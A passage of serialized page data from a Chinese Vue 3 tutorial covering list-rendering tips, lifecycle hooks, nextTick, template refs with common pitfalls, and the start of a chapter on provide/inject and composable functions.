时，跨层复用会产生「A 分支展开了 B 分支的状态」。用 ",[22,27870,27871],{},"row.id + level"," 之类的组合字符串。",[11,27874,27875,268,27878,27881,27882,27885],{},[17,27876,27877],{},"8. 列表数据整体替换 vs 局部修改。",[22,27879,27880],{},"list.value = newArray"," 会重建所有节点（除非 key 稳定）；",[22,27883,27884],{},"list.value[i].done = true"," 只改一行。批量改动时用前者并保证 key 稳定，别在循环里逐条改触发几十次更新。",[53,27887,27889],{"id":27888},"附列表写法速查","附：列表写法速查",[57,27891,27892,27900],{},[60,27893,27894],{},[63,27895,27896,27898],{},[66,27897,9791],{},[66,27899,19254],{},[79,27901,27902,27912,27922,27932,27942,27956,27966,27980],{},[63,27903,27904,27907],{},[84,27905,27906],{},"数组 + 索引",[84,27908,27909],{},[22,27910,27911],{},"v-for=\"(item, i) in list\" :key=\"item.id\"",[63,27913,27914,27917],{},[84,27915,27916],{},"对象",[84,27918,27919],{},[22,27920,27921],{},"v-for=\"(val, key) in obj\" :key=\"key\"",[63,27923,27924,27927],{},[84,27925,27926],{},"数字 1..N",[84,27928,27929],{},[22,27930,27931],{},"v-for=\"n in count\" :key=\"n\"",[63,27933,27934,27937],{},[84,27935,27936],{},"不产生额外元素",[84,27938,27939],{},[22,27940,27941],{},"\u003Ctemplate v-for=\"…\" :key=\"…\">",[63,27943,27944,27947],{},[84,27945,27946],{},"过滤后渲染",[84,27948,27949,4839,27952,27955],{},[22,27950,27951],{},"v-for=\"u in filtered\"",[22,27953,27954],{},"filtered"," 是 computed）",[63,27957,27958,27961],{},[84,27959,27960],{},"大列表省开销",[84,27962,27963,27965],{},[22,27964,20903],{}," + 整体替换、或虚拟滚动",[63,27967,27968,27971],{},[84,27969,27970],{},"行内动画",[84,27972,27973,27976,27977],{},[22,27974,27975],{},"\u003CTransitionGroup tag=\"ul\" name=\"list\">"," + 每行 ",[22,27978,27979],{},":key",[63,27981,27982,27985],{},[84,27983,27984],{},"key 选择",[84,27986,27987,27988],{},"后端 id > 本地生成的稳定 id > ",[27989,27990,13477],"del",{},[48,27992,27994],{"id":27993},"十二生命周期与模板-ref什么时候可以碰-dom","十二、生命周期与模板 ref：什么时候可以碰 DOM",[11,27996,27997,27998,161],{},"组件从创建到销毁有一串确定的时刻。想知道「哪段代码该写在哪个时机」，靠的就是这张时序表；而「什么时候才能读 DOM」只有一个答案：",[17,27999,28000],{},"挂载之后",[53,28002,28003],{"id":28003},"六个钩子与它们的时机",[308,28005,28007],{"className":5996,"code":28006,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { ref, onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted, nextTick } from 'vue'\nconst n = ref(0)\n\nconsole.log('1. setup()：此刻还没有 DOM')\nonBeforeMount(() => console.log('2. beforeMount：渲染函数准备好，DOM 还没插进页面'))\nonMounted(() => console.log('3. mounted：DOM 已就绪，可以读\u002F操作元素、起定时器、发请求'))\nonBeforeUpdate(() => console.log('4. beforeUpdate：数据变了，DOM 尚未更新'))\nonUpdated(() => console.log('5. updated：DOM 已跟上新数据'))\nonBeforeUnmount(() => console.log('6. beforeUnmount：卸载前，做清理'))\nonUnmounted(() => console.log('7. unmounted：已从 DOM 移除'))\n\u003C\u002Fscript>\n",[22,28008,28009,28019,28030,28047,28051,28065,28085,28104,28124,28143,28162,28182],{"__ignoreMap":314},[331,28010,28011,28013,28015,28017],{"class":333,"line":334},[331,28012,510],{"class":337},[331,28014,891],{"class":497},[331,28016,6299],{"class":501},[331,28018,505],{"class":337},[331,28020,28021,28023,28026,28028],{"class":333,"line":341},[331,28022,4648],{"class":616},[331,28024,28025],{"class":337}," { ref, onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted, nextTick } ",[331,28027,13735],{"class":616},[331,28029,17864],{"class":365},[331,28031,28032,28034,28037,28039,28041,28043,28045],{"class":333,"line":357},[331,28033,951],{"class":616},[331,28035,28036],{"class":344}," n",[331,28038,957],{"class":616},[331,28040,13780],{"class":501},[331,28042,966],{"class":337},[331,28044,628],{"class":344},[331,28046,972],{"class":337},[331,28048,28049],{"class":333,"line":371},[331,28050,998],{"emptyLinePlaceholder":997},[331,28052,28053,28056,28058,28060,28063],{"class":333,"line":384},[331,28054,28055],{"class":337},"console.",[331,28057,3533],{"class":501},[331,28059,966],{"class":337},[331,28061,28062],{"class":365},"'1. setup()：此刻还没有 DOM'",[331,28064,972],{"class":337},[331,28066,28067,28070,28072,28074,28076,28078,28080,28083],{"class":333,"line":397},[331,28068,28069],{"class":501},"onBeforeMount",[331,28071,1486],{"class":337},[331,28073,1489],{"class":616},[331,28075,18119],{"class":337},[331,28077,3533],{"class":501},[331,28079,966],{"class":337},[331,28081,28082],{"class":365},"'2. beforeMount：渲染函数准备好，DOM 还没插进页面'",[331,28084,8335],{"class":337},[331,28086,28087,28089,28091,28093,28095,28097,28099,28102],{"class":333,"line":418},[331,28088,6734],{"class":501},[331,28090,1486],{"class":337},[331,28092,1489],{"class":616},[331,28094,18119],{"class":337},[331,28096,3533],{"class":501},[331,28098,966],{"class":337},[331,28100,28101],{"class":365},"'3. mounted：DOM 已就绪，可以读\u002F操作元素、起定时器、发请求'",[331,28103,8335],{"class":337},[331,28105,28106,28109,28111,28113,28115,28117,28119,28122],{"class":333,"line":427},[331,28107,28108],{"class":501},"onBeforeUpdate",[331,28110,1486],{"class":337},[331,28112,1489],{"class":616},[331,28114,18119],{"class":337},[331,28116,3533],{"class":501},[331,28118,966],{"class":337},[331,28120,28121],{"class":365},"'4. beforeUpdate：数据变了，DOM 尚未更新'",[331,28123,8335],{"class":337},[331,28125,28126,28128,28130,28132,28134,28136,28138,28141],{"class":333,"line":439},[331,28127,22352],{"class":501},[331,28129,1486],{"class":337},[331,28131,1489],{"class":616},[331,28133,18119],{"class":337},[331,28135,3533],{"class":501},[331,28137,966],{"class":337},[331,28139,28140],{"class":365},"'5. updated：DOM 已跟上新数据'",[331,28142,8335],{"class":337},[331,28144,28145,28147,28149,28151,28153,28155,28157,28160],{"class":333,"line":450},[331,28146,22227],{"class":501},[331,28148,1486],{"class":337},[331,28150,1489],{"class":616},[331,28152,18119],{"class":337},[331,28154,3533],{"class":501},[331,28156,966],{"class":337},[331,28158,28159],{"class":365},"'6. beforeUnmount：卸载前，做清理'",[331,28161,8335],{"class":337},[331,28163,28164,28167,28169,28171,28173,28175,28177,28180],{"class":333,"line":456},[331,28165,28166],{"class":501},"onUnmounted",[331,28168,1486],{"class":337},[331,28170,1489],{"class":616},[331,28172,18119],{"class":337},[331,28174,3533],{"class":501},[331,28176,966],{"class":337},[331,28178,28179],{"class":365},"'7. unmounted：已从 DOM 移除'",[331,28181,8335],{"class":337},[331,28183,28184,28186,28188],{"class":333,"line":775},[331,28185,788],{"class":337},[331,28187,891],{"class":497},[331,28189,505],{"class":337},[11,28191,28192,28193,26877,28196,28198,28199,655,28202,28204,28205,15740],{},"组合式里没有 ",[22,28194,28195],{},"created",[22,28197,17957],{}," 本身就取代了 ",[22,28200,28201],{},"beforeCreate",[22,28203,28195],{},"。也没有 ",[22,28206,28207],{},"onBeforeSetup",[11,28209,28210,28213,28214,28216,28217,5652,28219,28221,28222,6745,28224,28226,28227,28230,28231,28233],{},[17,28211,28212],{},"该写在哪个钩子里","：起定时器\u002F加全局监听\u002F初始化第三方图表实例 → ",[22,28215,6734],{},"；对应的清理 → ",[22,28218,22227],{},[22,28220,28166],{},"）；订阅全局事件 + 取消 → 同一对钩子；读 DOM → ",[22,28223,6734],{},[22,28225,22355],{}," 之后；数据变化后的 DOM 副作用 → 优先 ",[22,28228,28229],{},"watch(..., { flush: 'post' })","，而不是 ",[22,28232,22352],{},"（后者每次任何更新都触发，很容易写出循环）。",[53,28235,28237,28238],{"id":28236},"dom-是异步更新的nexttick","DOM 是异步更新的：",[22,28239,22355],{},[308,28241,28243],{"className":942,"code":28242,"language":944,"meta":314,"style":314},"function add() {\n  list.value.push(Date.now())\n  console.log(el.value.children.length)      \u002F\u002F ✗ 还是旧数量，DOM 还没更新\n  nextTick(() => console.log(el.value.children.length))  \u002F\u002F ✓ 更新后\n}\n",[22,28244,28245,28254,28268,28285,28308],{"__ignoreMap":314},[331,28246,28247,28249,28252],{"class":333,"line":334},[331,28248,3047],{"class":616},[331,28250,28251],{"class":501}," add",[331,28253,1072],{"class":337},[331,28255,28256,28258,28260,28263,28265],{"class":333,"line":341},[331,28257,21584],{"class":337},[331,28259,20810],{"class":501},[331,28261,28262],{"class":337},"(Date.",[331,28264,14861],{"class":501},[331,28266,28267],{"class":337},"())\n",[331,28269,28270,28272,28274,28277,28279,28282],{"class":333,"line":357},[331,28271,22619],{"class":337},[331,28273,3533],{"class":501},[331,28275,28276],{"class":337},"(el.value.children.",[331,28278,10192],{"class":344},[331,28280,28281],{"class":337},")      ",[331,28283,28284],{"class":1003},"\u002F\u002F ✗ 还是旧数量，DOM 还没更新\n",[331,28286,28287,28290,28292,28294,28296,28298,28300,28302,28305],{"class":333,"line":371},[331,28288,28289],{"class":501},"  nextTick",[331,28291,1486],{"class":337},[331,28293,1489],{"class":616},[331,28295,18119],{"class":337},[331,28297,3533],{"class":501},[331,28299,28276],{"class":337},[331,28301,10192],{"class":344},[331,28303,28304],{"class":337},"))  ",[331,28306,28307],{"class":1003},"\u002F\u002F ✓ 更新后\n",[331,28309,28310],{"class":333,"line":384},[331,28311,459],{"class":337},[11,28313,28314,28315,272,28317,8953,28319,272,28321,28323],{},"Vue 把同一批数据变更合并成一次更新（微任务），所以「改完数据立刻读 DOM」拿到的必然是旧值。三种等 DOM 的办法：",[22,28316,22269],{},[22,28318,5460],{},[22,28320,22261],{},[22,28322,22352],{},"（最不推荐）。",[53,28325,28327],{"id":28326},"模板-ref拿到元素或子组件实例","模板 ref：拿到元素或子组件实例",[308,28329,28331],{"className":5996,"code":28330,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { ref, useTemplateRef, onMounted } from 'vue'\nconst inputEl = ref(null)                 \u002F\u002F 名字与模板里的 ref 属性对应\n\u002F\u002F Vue 3.5 推荐写法（避免「ref 变量」与「ref 属性」混淆）：\n\u002F\u002F const inputEl = useTemplateRef('search-input')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cinput ref=\"search-input\" v-model=\"q\" placeholder=\"搜索\">\n  \u003CUserCard ref=\"card\" \u002F>\n\u003C\u002Ftemplate>\n",[22,28332,28333,28343,28354,28374,28379,28384,28392,28396,28404,28432,28446],{"__ignoreMap":314},[331,28334,28335,28337,28339,28341],{"class":333,"line":334},[331,28336,510],{"class":337},[331,28338,891],{"class":497},[331,28340,6299],{"class":501},[331,28342,505],{"class":337},[331,28344,28345,28347,28350,28352],{"class":333,"line":341},[331,28346,4648],{"class":616},[331,28348,28349],{"class":337}," { ref, useTemplateRef, onMounted } ",[331,28351,13735],{"class":616},[331,28353,17864],{"class":365},[331,28355,28356,28358,28361,28363,28365,28367,28369,28371],{"class":333,"line":357},[331,28357,951],{"class":616},[331,28359,28360],{"class":344}," inputEl",[331,28362,957],{"class":616},[331,28364,13780],{"class":501},[331,28366,966],{"class":337},[331,28368,5858],{"class":344},[331,28370,10432],{"class":337},[331,28372,28373],{"class":1003},"\u002F\u002F 名字与模板里的 ref 属性对应\n",[331,28375,28376],{"class":333,"line":371},[331,28377,28378],{"class":1003},"\u002F\u002F Vue 3.5 推荐写法（避免「ref 变量」与「ref 属性」混淆）：\n",[331,28380,28381],{"class":333,"line":384},[331,28382,28383],{"class":1003},"\u002F\u002F const inputEl = useTemplateRef('search-input')\n",[331,28385,28386,28388,28390],{"class":333,"line":397},[331,28387,788],{"class":337},[331,28389,891],{"class":497},[331,28391,505],{"class":337},[331,28393,28394],{"class":333,"line":418},[331,28395,998],{"emptyLinePlaceholder":997},[331,28397,28398,28400,28402],{"class":333,"line":427},[331,28399,510],{"class":337},[331,28401,6012],{"class":497},[331,28403,505],{"class":337},[331,28405,28406,28408,28410,28412,28414,28417,28419,28421,28423,28425,28427,28430],{"class":333,"line":439},[331,28407,537],{"class":337},[331,28409,19733],{"class":497},[331,28411,13780],{"class":501},[331,28413,518],{"class":337},[331,28415,28416],{"class":365},"\"search-input\"",[331,28418,19736],{"class":501},[331,28420,518],{"class":337},[331,28422,19741],{"class":365},[331,28424,23289],{"class":501},[331,28426,518],{"class":337},[331,28428,28429],{"class":365},"\"搜索\"",[331,28431,505],{"class":337},[331,28433,28434,28436,28438,28440,28442,28444],{"class":333,"line":450},[331,28435,537],{"class":337},[331,28437,24905],{"class":497},[331,28439,13780],{"class":501},[331,28441,518],{"class":337},[331,28443,24517],{"class":365},[331,28445,6998],{"class":337},[331,28447,28448,28450,28452],{"class":333,"line":456},[331,28449,788],{"class":337},[331,28451,6012],{"class":497},[331,28453,505],{"class":337},[11,28455,28456],{},"四条规则：",[1659,28458,28459,28475,28491,28508],{},[1662,28460,28461,23629,28468,28470,28471,28474],{},[17,28462,28463,28465,28466,161],{},[22,28464,17953],{}," 之前它是 ",[22,28467,5858],{},[22,28469,15084],{}," 顶层直接 ",[22,28472,28473],{},"inputEl.value.focus()"," 必然报错。",[1662,28476,28477,28478,28480,28481,4839,28483,28486,28487,28490],{},"出现在 ",[22,28479,20091],{}," 里的 ref 会被 Vue 收集成",[17,28482,22918],{},[22,28484,28485],{},"ref=\"rowEl\""," 时 ",[22,28488,28489],{},"rowEl.value"," 是数组）。",[1662,28492,28493,28494,28496,28497,28499,28500,28503,28504,28507],{},"给",[17,28495,7753],{},"加 ref 拿到的是组件实例，而不是 DOM 元素；",[22,28498,4775],{}," 的组件默认",[17,28501,28502],{},"不暴露任何东西","，父级拿到的是个空壳，需要子组件 ",[22,28505,28506],{},"defineExpose({ focus, reset })","（第十四章有现场）。",[1662,28509,28510,28511,161],{},"要拿原生 DOM，ref 加在原生元素上即可；动态 ref 名用函数形式 ",[22,28512,28513],{},":ref=\"(el) => { els[i] = el }\"",[4748,28515],{"height":27777,"src":28516,"title":28517},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F12-lifecycle.html","示例 12：生命周期时间轴、nextTick 与卸载清理",[11,28519,28520,28521,28523],{},"示例 12 最值得看的是第 2 块：不写 ",[22,28522,28166],{}," 清理时，组件已经卸载、日志还在一秒一秒往外刷——这就是线上「路由切走了还在轮询」的成因。",[53,28525,4796],{"id":14902},[11,28527,28528,268,28534,272,28537,14079,28540,28542,28543,28545,28546,28549,28550,161],{},[17,28529,28530,28531,28533],{},"1. 在 ",[22,28532,15084],{}," 顶层访问 DOM。",[22,28535,28536],{},"document.querySelector",[22,28538,28539],{},"el.value.focus()",[22,28541,15084],{}," 里执行时机会导致拿到 ",[22,28544,5858],{},"（或 SSR 时 ",[22,28547,28548],{},"document is not defined","）。挪进 ",[22,28551,6734],{},[11,28553,28554,28560,28561,161],{},[17,28555,28556,28557,28559],{},"2. 忘记清理：定时器、全局事件、WebSocket、IntersectionObserver、",[22,28558,5460],{}," 手动 stop。"," 卸载后回调还在跑，轻则内存泄漏，重则在已销毁的组件里改数据。规则很简单：",[17,28562,28563],{},"在哪创建的订阅，就在对应的卸载钩子里关掉",[11,28565,28566,28575,28576,28579,28580,28582],{},[17,28567,28568,28569,28572,28573,161],{},"3. 组件被 ",[22,28570,28571],{},"KeepAlive"," 缓存时不会触发 ",[22,28574,20042],{}," 切走只走 ",[22,28577,28578],{},"onDeactivated","。你在 ",[22,28581,6734],{}," 里起的定时器，切走时不会停（第十四章专门讲这个）。",[11,28584,28585,28590,28591,28593,28594,4809,28596,161],{},[17,28586,7689,28587,28589],{},[22,28588,22352],{}," 里再改响应式数据 → 递归更新。"," 报 ",[22,28592,22140],{},"，页面卡死。想「数据变化后同步 DOM」用 ",[22,28595,5460],{},[22,28597,22261],{},[11,28599,28600,28607,28608,28611,28612,161],{},[17,28601,9903,28602,28604,28605,161],{},[22,28603,18308],{}," 控制的 ref 在隐藏时是 ",[22,28606,5858],{}," 任何 ",[22,28609,28610],{},"xxx.value.method()"," 之前要判空，或用可选链 ",[22,28613,28614],{},"inputEl.value?.focus()",[11,28616,28617,268,28620,28623],{},[17,28618,28619],{},"6. 异步回调里假设组件还活着。",[22,28621,28622],{},"setTimeout(() => { data.value = res }, 3000)","，用户 1 秒后就切走了——给组件赋值虽然不报错，但请求竞态会污染下一次进入的界面。卸载时清 timer，或加「实例仍存活」标记。",[11,28625,28626,16490,28629,28631,28632,28635,28636,28639,28640,28643,28644,272,28647,4813],{},[17,28627,28628],{},"7. 模板 ref 名字与响应式变量重名会被覆盖。",[22,28630,15084],{}," 里既有普通 ",[22,28633,28634],{},"const el = ref(0)"," 又给元素写 ",[22,28637,28638],{},"ref=\"el\"","，行为难料。约定 ref 变量统一以 ",[22,28641,28642],{},"El"," 结尾（",[22,28645,28646],{},"inputEl",[22,28648,28649],{},"chartEl",[53,28651,28653],{"id":28652},"附钩子时序与用途表","附：钩子时序与用途表",[57,28655,28656,28671],{},[60,28657,28658],{},[63,28659,28660,28662,28665,28668],{},[66,28661,14559],{},[66,28663,28664],{},"钩子 \u002F 阶段",[66,28666,28667],{},"能做什么",[66,28669,28670],{},"别做什么",[79,28672,28673,28687,28701,28715,28729,28743,28758,28773],{},[63,28674,28675,28677,28681,28684],{},[84,28676,7993],{},[84,28678,28679],{},[22,28680,17957],{},[84,28682,28683],{},"声明 ref\u002Fcomputed\u002Fwatch、注册 provide",[84,28685,28686],{},"访问 DOM、发请求（无 SSR 时勉强但没必要）",[63,28688,28689,28691,28695,28698],{},[84,28690,9292],{},[84,28692,28693],{},[22,28694,28069],{},[84,28696,28697],{},"极少用",[84,28699,28700],{},"读 DOM（还没插）",[63,28702,28703,28705,28709,28712],{},[84,28704,351],{},[84,28706,28707],{},[22,28708,6734],{},[84,28710,28711],{},"读 DOM、起 timer、第三方实例、首次请求",[84,28713,28714],{},"忘记配套卸载清理",[63,28716,28717,28719,28723,28726],{},[84,28718,15097],{},[84,28720,28721],{},[22,28722,28108],{},[84,28724,28725],{},"记录更新前的 DOM 状态（如滚动位置）",[84,28727,28728],{},"改响应式数据",[63,28730,28731,28733,28737,28740],{},[84,28732,6508],{},[84,28734,28735],{},[22,28736,22352],{},[84,28738,28739],{},"几乎不需要",[84,28741,28742],{},"在里面改数据（递归更新）",[63,28744,28745,28748,28752,28755],{},[84,28746,28747],{},"6",[84,28749,28750],{},[22,28751,22227],{},[84,28753,28754],{},"清理 timer\u002F监听\u002F实例",[84,28756,28757],{},"异步操作（来不及 await）",[63,28759,28760,28763,28767,28770],{},[84,28761,28762],{},"7",[84,28764,28765],{},[22,28766,28166],{},[84,28768,28769],{},"兜底清理",[84,28771,28772],{},"假设 DOM 还在",[63,28774,28775,28777,28783,28789],{},[84,28776,5122],{},[84,28778,28779,1901,28781],{},[22,28780,6764],{},[22,28782,28578],{},[84,28784,28785,28786,28788],{},"仅 ",[22,28787,28571],{}," 内，替代 mounted\u002Funmounted 的重复触发",[84,28790,28791],{},"当成普通钩子写重复逻辑",[48,28793,28795],{"id":28794},"十三provide-inject-与组合式函数跨层级与逻辑复用","十三、provide \u002F inject 与组合式函数：跨层级与逻辑复用",[11,28797,28798],{},"props 一层层传下去（俗称「prop drilling」）传三层就没人忍得了；把组件里的通用逻辑抽出来复用，又是另一件事。这一章解决这两个「组织问题」。",[53,28800,28802],{"id":28801},"provide-inject跨层级传值","provide \u002F inject：跨层级传值",[308,28804,28806],{"className":5996,"code":28805,"language":5998,"meta":314,"style":314},"\u003C!-- 祖先组件 ThemePanel.vue -->\n\u003Cscript setup>\nimport { provide, ref, readonly, computed } from 'vue'\nconst theme = ref('light')\nconst toggle = () => { theme.value = theme.value === 'light' ? 'dark' : 'light' }\n\nprovide('theme', readonly(theme))       \u002F\u002F 只读的值\nprovide('toggleTheme', toggle)          \u002F\u002F 改的动作交给后代\nprovide('user', computed(() => store.user))\n\u003C\u002Fscript>\n\n\u003C!-- 任意深度的后代 -->\n\u003Cscript setup>\nimport { inject } from 'vue'\nconst theme = inject('theme')\nconst toggle = inject('toggleTheme')\nconst lang = inject('lang', 'zh')       \u002F\u002F 第二个参数：没找到时的默认值\nconst conf = inject('conf', () => ({}), { treatAsDefault: true })  \u002F\u002F 工厂默认值\n\u003C\u002Fscript>\n",[22,28807,28808,28813,28823,28834,28850,28886,28890,28908,28923,28942,28950,28954,28959,28969,28980,28997,29013,29038,29068],{"__ignoreMap":314},[331,28809,28810],{"class":333,"line":334},[331,28811,28812],{"class":1003},"\u003C!-- 祖先组件 ThemePanel.vue -->\n",[331,28814,28815,28817,28819,28821],{"class":333,"line":341},[331,28816,510],{"class":337},[331,28818,891],{"class":497},[331,28820,6299],{"class":501},[331,28822,505],{"class":337},[331,28824,28825,28827,28830,28832],{"class":333,"line":357},[331,28826,4648],{"class":616},[331,28828,28829],{"class":337}," { provide, ref, readonly, computed } ",[331,28831,13735],{"class":616},[331,28833,17864],{"class":365},[331,28835,28836,28838,28840,28842,28844,28846,28848],{"class":333,"line":371},[331,28837,951],{"class":616},[331,28839,2429],{"class":344},[331,28841,957],{"class":616},[331,28843,13780],{"class":501},[331,28845,966],{"class":337},[331,28847,2495],{"class":365},[331,28849,972],{"class":337},[331,28851,28852,28854,28857,28859,28861,28863,28866,28868,28871,28873,28875,28877,28880,28882,28884],{"class":333,"line":384},[331,28853,951],{"class":616},[331,28855,28856],{"class":501}," toggle",[331,28858,957],{"class":616},[331,28860,7268],{"class":337},[331,28862,1489],{"class":616},[331,28864,28865],{"class":337}," { theme.value ",[331,28867,518],{"class":616},[331,28869,28870],{"class":337}," theme.value ",[331,28872,2625],{"class":616},[331,28874,2628],{"class":365},[331,28876,2631],{"class":616},[331,28878,28879],{"class":365}," 'dark'",[331,28881,2636],{"class":616},[331,28883,2628],{"class":365},[331,28885,9413],{"class":337},[331,28887,28888],{"class":333,"line":397},[331,28889,998],{"emptyLinePlaceholder":997},[331,28891,28892,28894,28896,28898,28900,28902,28905],{"class":333,"line":418},[331,28893,15009],{"class":501},[331,28895,966],{"class":337},[331,28897,14048],{"class":365},[331,28899,409],{"class":337},[331,28901,26123],{"class":501},[331,28903,28904],{"class":337},"(theme))       ",[331,28906,28907],{"class":1003},"\u002F\u002F 只读的值\n",[331,28909,28910,28912,28914,28917,28920],{"class":333,"line":427},[331,28911,15009],{"class":501},[331,28913,966],{"class":337},[331,28915,28916],{"class":365},"'toggleTheme'",[331,28918,28919],{"class":337},", toggle)          ",[331,28921,28922],{"class":1003},"\u002F\u002F 改的动作交给后代\n",[331,28924,28925,28927,28929,28931,28933,28935,28937,28939],{"class":333,"line":439},[331,28926,15009],{"class":501},[331,28928,966],{"class":337},[331,28930,13762],{"class":365},[331,28932,409],{"class":337},[331,28934,4781],{"class":501},[331,28936,1486],{"class":337},[331,28938,1489],{"class":616},[331,28940,28941],{"class":337}," store.user))\n",[331,28943,28944,28946,28948],{"class":333,"line":450},[331,28945,788],{"class":337},[331,28947,891],{"class":497},[331,28949,505],{"class":337},[331,28951,28952],{"class":333,"line":456},[331,28953,998],{"emptyLinePlaceholder":997},[331,28955,28956],{"class":333,"line":775},[331,28957,28958],{"class":1003},"\u003C!-- 任意深度的后代 -->\n",[331,28960,28961,28963,28965,28967],{"class":333,"line":785},[331,28962,510],{"class":337},[331,28964,891],{"class":497},[331,28966,6299],{"class":501},[331,28968,505],{"class":337},[331,28970,28971,28973,28976,28978],{"class":333,"line":795},[331,28972,4648],{"class":616},[331,28974,28975],{"class":337}," { inject } ",[331,28977,13735],{"class":616},[331,28979,17864],{"class":365},[331,28981,28982,28984,28986,28988,28991,28993,28995],{"class":333,"line":805},[331,28983,951],{"class":616},[331,28985,2429],{"class":344},[331,28987,957],{"class":616},[331,28989,28990],{"class":501}," inject",[331,28992,966],{"class":337},[331,28994,14048],{"class":365},[331,28996,972],{"class":337},[331,28998,28999,29001,29003,29005,29007,29009,29011],{"class":333,"line":819},[331,29000,951],{"class":616},[331,29002,28856],{"class":344},[331,29004,957],{"class":616},[331,29006,28990],{"class":501},[331,29008,966],{"class":337},[331,29010,28916],{"class":365},[331,29012,972],{"class":337},[331,29014,29015,29017,29019,29021,29023,29025,29028,29030,29033,29035],{"class":333,"line":850},[331,29016,951],{"class":616},[331,29018,515],{"class":344},[331,29020,957],{"class":616},[331,29022,28990],{"class":501},[331,29024,966],{"class":337},[331,29026,29027],{"class":365},"'lang'",[331,29029,409],{"class":337},[331,29031,29032],{"class":365},"'zh'",[331,29034,20939],{"class":337},[331,29036,29037],{"class":1003},"\u002F\u002F 第二个参数：没找到时的默认值\n",[331,29039,29040,29042,29045,29047,29049,29051,29054,29056,29058,29061,29063,29065],{"class":333,"line":886},[331,29041,951],{"class":616},[331,29043,29044],{"class":344}," conf",[331,29046,957],{"class":616},[331,29048,28990],{"class":501},[331,29050,966],{"class":337},[331,29052,29053],{"class":365},"'conf'",[331,29055,8322],{"class":337},[331,29057,1489],{"class":616},[331,29059,29060],{"class":337}," ({}), { treatAsDefault: ",[331,29062,1131],{"class":344},[331,29064,9582],{"class":337},[331,29066,29067],{"class":1003},"\u002F\u002F 工厂默认值\n",[331,29069,29070,29072,29074],{"class":333,"line":909},[331,29071,788],{"class":337},[331,29073,891],{"class":497},[331,29075,505],{"class":337},[11,29077,29078,29079,29082,29083,29086],{},"要点：",[17,29080,29081],{},"provide 的是 ref\u002Fcomputed 时才有响应性","（示例 13 有对照）；用 symbol 做 key（",[22,29084,29085],{},"const ThemeKey = Symbol()","）能避免和第三方库撞名，也便于 TS 推断；祖先每次 provide 同一个 key 会覆盖上一层。",[11,29088,29089,29090,29093],{},"它适合「主题、语言、当前表单上下文、面板布局」这类",[17,29091,29092],{},"语义上属于环境、但只在局部子树生效","的数据。别把它当全局状态仓库——一旦某个组件被抽走，后代就静默拿到默认值。",[53,29095,29097],{"id":29096},"组合式函数vue-3-的复用单位","组合式函数：Vue 3 的复用单位",[11,29099,29100,29103,29104,29107,29108,161],{},[22,29101,29102],{},"mixin","（Vue 2）的问题是会撞名、来源不明。Vue 3 的答案是",[17,29105,29106],{},"组合式函数","：一个用到了响应式 API 的普通函数，约定命名 ",[22,29109,5574],{},[308,29111,29113],{"className":942,"code":29112,"language":944,"meta":314,"style":314},"\u002F\u002F composables\u002FuseCounter.js\nimport { ref } from 'vue'\n\n\u002F**\n * 一个独立的计数器状态。\n * @param {number} [init=0] 初始值\n * @returns {{ count: import('vue').Ref\u003Cnumber>, inc: () => void, reset: () => void }}\n *\u002F\nexport function useCounter(init = 0) {\n  const count = ref(init)              \u002F\u002F 每次调用都新建，互不干扰\n  return { count, inc: () => count.value++, reset: () => { count.value = init } }\n}\n",[22,29114,29115,29120,29130,29134,29138,29143,29163,29172,29176,29196,29212,29249],{"__ignoreMap":314},[331,29116,29117],{"class":333,"line":334},[331,29118,29119],{"class":1003},"\u002F\u002F composables\u002FuseCounter.js\n",[331,29121,29122,29124,29126,29128],{"class":333,"line":341},[331,29123,4648],{"class":616},[331,29125,17859],{"class":337},[331,29127,13735],{"class":616},[331,29129,17864],{"class":365},[331,29131,29132],{"class":333,"line":357},[331,29133,998],{"emptyLinePlaceholder":997},[331,29135,29136],{"class":333,"line":371},[331,29137,1004],{"class":1003},[331,29139,29140],{"class":333,"line":384},[331,29141,29142],{"class":1003}," * 一个独立的计数器状态。\n",[331,29144,29145,29147,29149,29152,29155,29157,29160],{"class":333,"line":397},[331,29146,1024],{"class":1003},[331,29148,2423],{"class":616},[331,29150,29151],{"class":501}," {number}",[331,29153,29154],{"class":337}," [init",[331,29156,518],{"class":616},[331,29158,29159],{"class":337},"0]",[331,29161,29162],{"class":1003}," 初始值\n",[331,29164,29165,29167,29169],{"class":333,"line":418},[331,29166,1024],{"class":1003},[331,29168,1027],{"class":616},[331,29170,29171],{"class":501}," {{ count: import('vue').Ref\u003Cnumber>, inc: () => void, reset: () => void }}\n",[331,29173,29174],{"class":333,"line":427},[331,29175,1058],{"class":1003},[331,29177,29178,29180,29182,29185,29187,29190,29192,29194],{"class":333,"line":439},[331,29179,5219],{"class":616},[331,29181,1066],{"class":616},[331,29183,29184],{"class":501}," useCounter",[331,29186,966],{"class":337},[331,29188,29189],{"class":2472},"init",[331,29191,957],{"class":616},[331,29193,680],{"class":344},[331,29195,2476],{"class":337},[331,29197,29198,29200,29202,29204,29206,29209],{"class":333,"line":450},[331,29199,1496],{"class":616},[331,29201,18074],{"class":344},[331,29203,957],{"class":616},[331,29205,13780],{"class":501},[331,29207,29208],{"class":337},"(init)              ",[331,29210,29211],{"class":1003},"\u002F\u002F 每次调用都新建，互不干扰\n",[331,29213,29214,29216,29219,29222,29224,29226,29229,29232,29234,29237,29239,29241,29244,29246],{"class":333,"line":456},[331,29215,1633],{"class":616},[331,29217,29218],{"class":337}," { count, ",[331,29220,29221],{"class":501},"inc",[331,29223,8621],{"class":337},[331,29225,1489],{"class":616},[331,29227,29228],{"class":337}," count.value",[331,29230,29231],{"class":616},"++",[331,29233,409],{"class":337},[331,29235,29236],{"class":501},"reset",[331,29238,8621],{"class":337},[331,29240,1489],{"class":616},[331,29242,29243],{"class":337}," { count.value ",[331,29245,518],{"class":616},[331,29247,29248],{"class":337}," init } }\n",[331,29250,29251],{"class":333,"line":775},[331,29252,459],{"class":337},[308,29254,29256],{"className":942,"code":29255,"language":944,"meta":314,"style":314},"\u002F\u002F composables\u002FuseLocalStorage.js\nimport { ref, watch } from 'vue'\n\n\u002F**\n * 与 localStorage 同步的 ref。\n * @param {string} key 存储键名\n * @param {any} fallback 读不到（或解析失败）时的兜底值\n *\u002F\nexport function useLocalStorage(key, fallback) {\n  let initial = fallback\n  try { initial = JSON.parse(localStorage.getItem(key)) ?? fallback } 